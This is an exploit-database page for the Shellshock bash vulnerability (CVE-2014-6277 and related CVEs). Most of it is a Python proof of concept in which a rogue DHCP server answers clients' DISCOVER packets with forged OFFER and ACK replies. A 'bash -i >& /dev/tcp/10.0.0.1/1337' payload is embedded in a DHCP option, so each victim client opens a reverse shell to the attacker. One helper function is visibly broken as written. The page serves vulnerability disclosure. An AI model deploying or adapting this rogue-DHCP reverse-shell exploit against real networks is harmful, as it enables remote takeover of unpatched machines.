header-logo
Suggest Exploit
vendor:
Bash
by:
@0x00string
7,5
CVSS
HIGH
Shellshock
78
CWE
Product Name: Bash
Affected Version From: 4.3.11
Affected Version To: 4.3.11
Patch Exists: YES
Related CWE: CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
CPE: a:gnu:bash:4.3.11
Metasploit: https://www.rapid7.com/db/vulnerabilities/freebsd-vid-81e2b308-4a6c-11e4-b711-6805ca0b3d42/https://www.rapid7.com/db/vulnerabilities/linuxrpm-ELSA-2014-3093/https://www.rapid7.com/db/vulnerabilities/gnu-bash-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/freebsd-vid-512d1301-49b9-11e4-ae2c-c80aa9043978/https://www.rapid7.com/db/vulnerabilities/linuxrpm-ELSA-2014-3092/https://www.rapid7.com/db/vulnerabilities/linuxrpm-ELSA-2014-3094/https://www.rapid7.com/db/vulnerabilities/pulse-secure-pulse-connect-secure-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/suse-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/ubuntu-USN-2380-1/https://www.rapid7.com/db/vulnerabilities/cisco-xe-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/suse-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/hpsim-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/cisco-xe-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/pulse-secure-pulse-connect-secure-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/apple-osx-bash-cve-2014-6277/https://www.rapid7.com/db/?q=CVE-2014-6277&type=&page=2https://www.rapid7.com/db/?q=CVE-2014-6277&type=&page=2https://www.rapid7.com/db/vulnerabilities/cisco-xe-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/pulse-secure-pulse-connect-secure-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/gnu-bash-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/suse-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/freebsd-vid-81e2b308-4a6c-11e4-b711-6805ca0b3d42/https://www.rapid7.com/db/vulnerabilities/pulse-secure-pulse-connect-secure-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/cisco-xe-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/gnu-bash-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/linuxrpm-ELSA-2014-3092/https://www.rapid7.com/db/vulnerabilities/freebsd-vid-512d1301-49b9-11e4-ae2c-c80aa9043978/https://www.rapid7.com/db/vulnerabilities/suse-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/linuxrpm-ELSA-2014-3093/https://www.rapid7.com/db/vulnerabilities/linuxrpm-ELSA-2014-3094/https://www.rapid7.com/db/vulnerabilities/ubuntu-USN-2380-1/https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2014-1354/https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2014-6278/https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/pulse-secure-pulse-connect-secure-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/cisco-xe-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/hpsim-cve-2014-6277/https://www.rapid7.com/db/vulnerabilities/apple-osx-bash-cve-2014-6277/https://www.rapid7.com/db/?q=CVE-2014-7169&type=&page=2https://www.rapid7.com/db/?q=CVE-2014-7169&type=&page=3https://www.rapid7.com/db/?q=CVE-2014-7169&type=&page=2https://www.rapid7.com/db/vulnerabilities/freebsd-vid-81e2b308-4a6c-11e4-b711-6805ca0b3d42/https://www.rapid7.com/db/vulnerabilities/cisco-xe-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2014-1354/https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/pulse-secure-pulse-connect-secure-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/suse-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/apple-osx-afpserver-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/apple-osx-bash-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/hpsim-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/gnu-bash-cve-2014-7186/https://www.rapid7.com/db/vulnerabilities/freebsd-vid-81e2b308-4a6c-11e4-b711-6805ca0b3d42/https://www.rapid7.com/db/vulnerabilities/cisco-xe-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2014-1354/https://www.rapid7.com/db/vulnerabilities/pulse-secure-pulse-connect-secure-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/alpine-linux-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/centos_linux-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/suse-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/gnu-bash-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/oracle-solaris-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/hpsim-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/apple-osx-afpserver-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/apple-osx-bash-cve-2014-7187/https://www.rapid7.com/db/vulnerabilities/f5-big-ip-cve-2014-7187/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 14.04.1
2014

dhclient shellshocker

This exploit listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts. Once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out. The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.

Mitigation:

Apply the patch for the vulnerability and ensure that the system is up to date with the latest security patches.
Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
#  ______        ______  ______                 _                  
# / __   |      / __   |/ __   |     _         (_)                 
#| | //| |_   _| | //| | | //| | ___| |_   ____ _ ____   ____  ___ 
#| |// | ( \ / ) |// | | |// | |/___)  _) / ___) |  _ \ / _  |/___)
#|  /__| |) X (|  /__| |  /__| |___ | |__| |   | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_|   |_|_| |_|\_|| (___/ 
#                                                      (_____|     
#     _ _           _ _                  
#    | | |         | (_)            _    
#  _ | | | _   ____| |_  ____ ____ | |_  
# / || | || \ / ___) | |/ _  )  _ \|  _) 
#( (_| | | | ( (___| | ( (/ /| | | | |__ 
# \____|_| |_|\____)_|_|\____)_| |_|\___)                                        
#
#      _           _ _      _                 _                
#     | |         | | |    | |               | |               
#  ___| | _   ____| | | ___| | _   ___   ____| |  _ ____  ____ 
# /___) || \ / _  ) | |/___) || \ / _ \ / ___) | / ) _  )/ ___)
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |    
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|    

# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.

import socket, struct
def HexToByte( hexStr ): 
    b = []
    h = ''.join( h.split(" ") )
    for i in range(0, len(h), 2):
        b.append( chr( int (h[i:i+2], 16 ) ) )
    return ''.join( b )

rport = 68
lport = 67

bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bsock.bind(("<broadcast>", lport))

while True:

	OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
	URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
	URLLEN = chr(len(URL) / 2).encode("hex")
	END = "03040a000001ff"
	broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
	hexip = broadcast_get[245:249]
	rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
	XID = broadcast_get[4:8].encode("hex")
	chaddr = broadcast_get[29:34].encode("hex")
	print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
	OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
	OFFER_BYTES = HexToByte(OFFER)
	ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
	ACK_BYTES = HexToByte(ACK)
	print "[+]\tsending evil offer\n"
	sock.sendto(OFFER_BYTES, (rhost, rport))
	broadcast_get2 = bsock.recvfrom(2048)
	print "[+]\tassuming request was received, sending ACK\n"
	sock.sendto(ACK_BYTES, (rhost, rport))